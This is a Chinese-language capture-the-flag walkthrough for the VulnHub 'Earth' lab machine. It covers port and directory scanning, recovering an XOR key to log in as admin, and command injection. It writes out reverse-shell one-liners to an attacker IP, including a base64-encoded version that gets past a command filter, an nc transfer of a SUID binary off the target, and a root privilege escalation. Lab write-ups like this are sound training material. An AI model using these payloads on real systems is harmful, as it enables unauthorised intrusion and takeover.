- 靶场搭建
靶机下载地址:The Planets: Earth ~ VulnHub
直接解压双击ova文件即可
使用软件:VMware(可能会出现问题),VirtualBox(此处官方建议使用VirtualBox)
难度:简单
攻击机:kali
- 信息收集
先明确靶机的ip后直接nmap直接扫描
nmap -A -T4 -p- 目标ip
nmap -A -T4 -p- 192.168.21.145
看到一个奇怪的地方
Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local
对此而言就修改/etc/hosts文件加入ip+url就能访问
vim /etc/hosts
添加
192.168.21.145 earth.local
192.168.21.145 terratest.earth.local
直接输入url就能访问
啥办法没有只能接着搜集信息,尝试看看有哪些网站
暴力破解直接上
dirb https://terratest.earth.local/
dirb https://earth.local/
https://terratest.earth.local/里找到一个robots.txt
https://earth.local/里面找到一个admin
先访问看看是啥
https://terratest.earth.local/robots.txt
这个里面看到了敏感信息哦testingnots.txt
进去看看
*Using XOR encryption as the algorithm, should be safe as used in RSA.(使用XOR)
*testdata.txt was used to test encryption.(testdata.txt用于测试加密)
*terra used as username for admin portal.(terra是admin的用户名)
所以想办法访问testdata.txt和找用户名密码
所以试试直接访问https://terratest.earth.local/testdata.txt(txt文件不能用dirb扫出来)
文件内容:
According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.
- web攻击
只能从上个xor加密入手
根据XOR运算的性质aXORbXORa=b,且在本靶机中,a为message,b为message key,aXORb为previous message;那么只要previous message和message做一次XOR运算,就可以得到message key。(随便写个脚本)(建议使用http://c.jsrun.net/)
从https://earth.local/页面已知3个previous message,从https://terratest.earth.local/testingnotes.txt已知testdata.txt至少做过一次message。因此要得到message key只要用testdata.txt的内容和3个previous message分别进行XOR操作即可。尝试后发现https://earth.local/页面前两条previous message应该都与testdata.txt无关,XOR运算的结果不可读,第3条应该是testdata.txt内容与message key进行XOR运算的结果。
2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a
进https://gchq.github.io/CyberChef/开始解码
这个应该是文件于是使用hex解一下
怎么说像不像二进制,转化为16进制
在进行前文提到的xor操作,将testdata.txt的内容作为key,编码选UTF8,即可得到一组循环的字符串,每组循环都是:earthclimatechangebad4humans
可以登入了
此处看到有命令行
看看whoami
命令执行!!!
直接执行的话看看能不能反弹shell
bash -c 'exec bash -i &>/dev/tcp/192.168.21.134/666 <&1'
想象美好现实骨感被ban了,只能绕过了(直接写入文件也是不可以的),又是老朋友base64编码
为了方便直接用burp的编码模块了
echo 'bash -i >& /dev/tcp/192.168.21.134/8888 0>&1'>/tmp/1|base64 -d|sh
拼接一下就成
- 渗透攻击
链接完成后
find / -user root -perm /4000 2>/dev/null
其中有个奇怪的/usr/bin/reset_root
看一下文件中可读的内容
strings /usr/bin/reset_root
可以看到这个可执行文件将root的密码修改为Earth
从/usr/bin/reset_root执行失败的返回信息来看,是需要触发条件的,直接执行的话,触发条件都不满足
由于靶机上没有ltrace,所以需要把/usr/bin/reset_root文件传到攻击机上分析。
这里用nc进行传输:
攻击机上监听2222端口,并将接收到的内容重定向到文件reset_root
nc -nlvp 2222 > reset_root
靶机上将/usr/bin/reset_root文件的内容通过nc重定向到攻击机的2222端口
nc 192.168.101.34 2222 < /usr/bin/reset_root
完成文件传输后,攻击机上给reset_root文件赋予可执行权限
chmod +x reset_root
然后用ltrace跟踪库函数调用
ltrace ./reset_root
可以发现触发条件是/dev/shm/kHgTFI5G、/dev/shm/Zw7bV9U5、/tmp/kcM0Wewe存在(后来尝试发现是需要三个文件都存在)
在靶机上用touch命令创建这三个文件,创建完成后再执行/usr/bin/reset_root,执行成功,显示root的密码被修改成了Earth
touch /tmp/kcM0Wewe
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
/usr/bin/reset_root
用su命令提权到root,密码为Earth,并在/root目录下获得flag